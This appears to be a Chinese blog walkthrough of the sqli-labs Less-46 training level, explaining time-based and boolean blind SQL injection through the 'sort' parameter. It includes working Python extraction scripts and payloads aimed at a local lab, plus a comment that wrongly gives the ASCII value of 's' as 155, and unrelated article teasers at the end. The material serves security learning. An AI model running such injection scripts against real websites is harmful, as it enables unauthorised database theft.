sqlilab 46 关(布尔、时间盲注)

sqlilabs 46关(布尔、时间盲注)

46关有变化了,需要我们输入sort,那我们就从sort=1开始 递增测试:

在这里插入图片描述

发现测试到sort=4就出现报错:

在这里插入图片描述

我们查看源码:

在这里插入图片描述

从图中可看出:用户输入的sort值被用于查询时的排序方式

那从前面测试sort=4时出现报错可以知道,当前的数据库有三列

时间盲注:

注意:因为时间盲注效率很低,所以建议用python写个脚本来做

import requests
import timedef send_request(url, payload):# 确认是否猜对full_url = f"{url}{payload}"start_time = time.time()response = requests.get(full_url)end_time = time.time()return end_time - start_time >= 0.5  
def get_database_length(url, delay=0.7):for length in range(1, 20):payload = f"?sort=1 and if(length(database())={length}, sleep({delay}), 0)--+"if send_request(url, payload):return lengthreturn 0
def get_database_name(url, length, delay=0.7):db_name = ''for position in range(1, length + 1):for ascii_value in range(32, 127):payload = f"?sort=1 and if((select ascii(substr(database(), {position}, 1)))={ascii_value}, sleep({delay}), 0)--+"if send_request(url, payload):db_name += chr(ascii_value)breakprint(db_name)return db_name
def main():url = "http://127.0.0.1/sqlilabs/Less-46/"delay = 0.7 db_length = get_database_length(url, delay)if db_length == 0:print("Failed to determine database length.")returnelse:print(f"the length of database:{db_length}")db_name = get_database_name(url, db_length, delay)print(f"The database name is: {db_name}")if __name__ == "__main__":main()

盲注也是慢的没边,不过也算是能做出来

在这里插入图片描述

这里只展示获取数据库的过程了,只需修改代码就可以获取其他信息了

布尔盲注:

感谢伟大的AI !!!

原理:

在上文源码中已知:用户在sort中输入的值,将影响输出列表的排序

即:

以id排序:

在这里插入图片描述

以username排序:

在这里插入图片描述

两次返回的第一行数据不一致,那我们就可以根据这个特点进行布尔盲注了:

http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr(database(),1,1))=115,id,username)%20--
# 当数据库的第一个字母为s(ascii值为155),则以id排序,否则以username排序

由此引申的python代码如下:

import requests
from bs4 import BeautifulSoupdef get_content(resp):# 提出其中的信息(如果猜对,就是Dumb)soup = BeautifulSoup(resp.text, 'html.parser')username_elem = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')return username_elem.text.strip() if username_elem else Nonedef binary_search_injection(base_url, sql_query_template, max_length=100):result = []for i in range(1, max_length + 1):left, right = 32, 126while left <= right:mid = (left + right) // 2url = base_url.format(sql_query=sql_query_template.format(index=i, mid_char=mid))try:resp = requests.get(url)content = get_content(resp)if content == 'Dumb':left = mid + 1else:right = mid - 1except Exception as e:print(f"请求 {url} 失败: {e}")breakif left > 127 or left < 32:breakchar_to_add = chr(left)if char_to_add.isspace():breakresult.append(char_to_add)print(''.join(result))return ''.join(result)if __name__ == '__main__':base_url = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort={sql_query}"database_query = "if(ascii(substr(database(),{index},1))>{mid_char},id,username)"# 获取数据库名称db_name = binary_search_injection(base_url, database_query)print(f"The database name is: {db_name}")

这里只展示获取数据库的过程了,只需修改代码就可以获取其他信息了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/25243.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【02】Cocos游戏开发引擎从0开发一款游戏-cocos项目目录结构熟悉-调试运行项目-最重要的assets资源文件认识-场景sense了解-优雅草卓伊凡

【02】Cocos游戏开发引擎从0开发一款游戏-cocos项目目录结构熟悉-调试运行项目-最重要的assets资源文件认识-场景sense了解-优雅草卓伊凡 开发背景 接下来我们直接打开我们的项目开始进一步操作&#xff0c; 实战开发 导入项目 我把得到的项目解压到本地&#xff0c;我们开…

spring结合mybatis多租户实现单库分表

实现单库分表 思路&#xff1a;student表数据量大&#xff0c;所以将其进行分表处理。一共有三个分表&#xff0c;分别是student0&#xff0c;student1&#xff0c;student2&#xff0c;在新增数据的时候&#xff0c;根据请求头中的meta-tenant参数决定数据存在哪张表表。 数…

数据结构:Top-K问题详解

一.Top-K问题 #include<stdio.h> //先自主创建n个数据 void CreateNDate() {// 造数据int n 100000;srand(time(0));//表示随时间初始化随机生成数的种子const char* file "data.txt";///创建一个文件FILE* fin fopen(file, "w");//“只写”写入创…

基于 Flink CDC YAML 的 MySQL 到 Kafka 流式数据集成

本教程的演示都将在 Flink CDC CLI 中进行&#xff0c;无需一行 Java/Scala 代码&#xff0c;也无需安装 IDE。 这篇教程将展示如何基于 Flink CDC YAML 快速构建 MySQL 到 Kafka 的 Streaming ELT 作业&#xff0c;包含整库同步、表结构变更同步演示和关键参数介绍。 准备阶段…

AI绘画软件Stable Diffusion详解教程(3):Windows系统本地化部署操作方法(通用版)

上一篇教程介绍了如何在本地部署Stable Diffusion专业版&#xff0c;虽然便于技术人员研究&#xff0c;但是普通人使用起来不便捷&#xff0c;每次只能通过cmd窗口的指令形式或者python代码方式来画图&#xff0c;要记很多的指令很繁琐。 本篇教程教您搭建webui版的&#xff0…

进程 ─── linux第10课

目录 回顾上一节 进程 基本概念 描述进程 - PCB task_struct - PCB的一种 task_ struct内容分类 组织进程 下面来介绍task_struct内部 PID 和PPID 子进程与父进程 getpid()和getppid() 杀进程 exe 和 cwd 回顾上一节 1. 如果我们写的程序要访问硬件,必定通过sy…

量子计算的数学基础:复数、矩阵和线性代数

量子计算是基于量子力学原理的一种新型计算模式,它与经典计算机在信息处理的方式上有着根本性的区别。在量子计算中,信息的最小单位是量子比特(qubit),而不是传统计算中的比特。量子比特的状态是通过量子力学中的数学工具来描述的,因此,理解量子计算的数学基础对于深入学…

PostgreSQL_安装部署

一、Windows系统下安装 1.下载安装包 登录PostgreSQL: Downloads官网&#xff1a; 选择14.12版本&#xff0c;点击下载&#xff1a; 2.安装PostgrSQL14.12 双击exe安装包程序&#xff0c;准备安装&#xff1a; 选择安装路径&#xff1a; 选择想安装的工具&#xff1a; 选择数…

Idea 和 Pycharm 快捷键

一、快捷键 二、Pycharm 中怎么切换分支 参考如下 如果在界面右下角 没有看到当前所在的分支&#xff0c;如 “Git:master” 3. 有了 4.

第十四届蓝桥杯:DFS之飞机降落

这道题&#xff0c;由于它的数据范围是非常小的&#xff0c;我们可以采取暴力搜索的措施&#xff0c;把每种情况都枚举出来&#xff0c;如果有能行的情况就返回true 同时我们也要学会剪枝&#xff0c;如果已经确认飞机不能降落&#xff0c;就不要往下再展开了 #include <i…

Oracle 查询表空间使用情况及收缩数据文件

本文介绍Oracle收缩数据文件的相关操作&#xff0c;运维工作中有时会需要通过收缩数据文件来释放磁盘空间。 数据文件初始化方式&#xff1a; 1.我们创建表空间一般有两种方式初始化其数据文件&#xff0c;即指定初始大小为32G&#xff08;很大的值&#xff09;或指定初始大小为…

android 新增native binder service 方式(一)

关于之前说的native service 之前有写过类似的文章&#xff0c;今天主要介绍下如何通过binder 方式跨进程调用和回调,结合网上的各种文章&#xff0c;总结了3种常见的添加方式&#xff0c;供大家参考。 一&#xff0c;aidl 文件定义 先看下整体的目录结构 libserviceaidl 就是…

【大模型系列篇】大模型微调工具 LLama-Factory、Unsloth、ms-SWIFT

今日号外&#xff1a;&#x1f525;&#x1f525;&#x1f525; DeepSeek团队正式启动为期五天的开源计划 Day3&#xff1a;DeepGEMM。DeepGEMM 是一个专为简洁高效的 FP8 通用矩阵乘法&#xff08;GEMM&#xff09;设计的库&#xff0c;具有细粒度缩放功能&#xff0c;如 Deep…

安宝特科技 | Vuzix Z100智能眼镜+AugmentOS:重新定义AI可穿戴设备的未来——从操作系统到硬件生态,如何掀起无感智能革命?

一、AugmentOS&#xff1a;AI可穿戴的“操作系统革命” 2025年2月3日&#xff0c;Vuzix与AI人机交互团队Mentra联合推出的AugmentOS&#xff0c;被业内视为智能眼镜领域的“iOS时刻”。这款全球首个专为智能眼镜设计的通用操作系统&#xff0c;通过三大突破重新定义了AI可穿戴…

自然语言处理(NLP):文本向量化从文字到数字的原理

在人工智能领域&#xff0c;尤其是自然语言处理&#xff08;NLP&#xff09;中&#xff0c;将文本信息转化为机器可以理解的形式是一个至关重要的步骤。本文探讨如何将文本转换为向量表示的过程&#xff0c;包括分词、ID映射、One-hot编码以及最终的词嵌入&#xff08;Embeddin…

如何免费使用稳定的deepseek

0、背景&#xff1a; 在AI辅助工作中&#xff0c;除了使用cursor做编程外&#xff0c;使用deepseek R1进行问题分析、数据分析、代码分析效果非常好。现在我经常会去拿行业信息、遇到的问题等去咨询R1&#xff0c;也给了自己不少启示。但是由于官网稳定性很差&#xff0c;很多…

Cherry Studio + 火山引擎 构建个人AI智能知识库

&#x1f349;在信息化时代&#xff0c;个人知识库的构建对于提高工作效率、知识管理和信息提取尤为重要。尤其是当这些知识库能结合人工智能来智能化地整理、分类和管理数据时&#xff0c;效果更为显著。我最近尝试通过 Cherry Studio 和 火山引擎 来搭建个人智能知识库&#…

Python:循环

while循环&#xff1a; 基本格式如下&#xff1a; i1 while i<100: print(好好学习天天向上) i1 同理还有while循环嵌套&#xff1a; for循环&#xff08;迭代循环&#xff09; 基本格式&#xff1a; strhello for i in str print(i)#int整型不是迭代对象&#xff0c;需…

【leetcode hot 100 15】三数之和

一、两数之和的扩展 class Solution {public List<List<Integer>> threeSum(int[] nums) {// 将得到的结果存入Set中&#xff0c;保证不重复Set<List<Integer>> set new HashSet<>();// 模拟两数之和&#xff0c;作为第一个循环中的内容for(in…

Cesium高级开发教程之四十三:缓冲区分析#线

一、简介 基本概念:线缓冲区分析是指以 Cesium 中的线要素(如道路、河流等)为基础,在其两侧创建一定宽度的带状区域。例如,在地图上有一条河流的线数据,通过线缓冲区分析,可以得到河流两侧一定范围内的缓冲区域,用于表示河流的影响范围或进行相关的分析。实现原理:在 …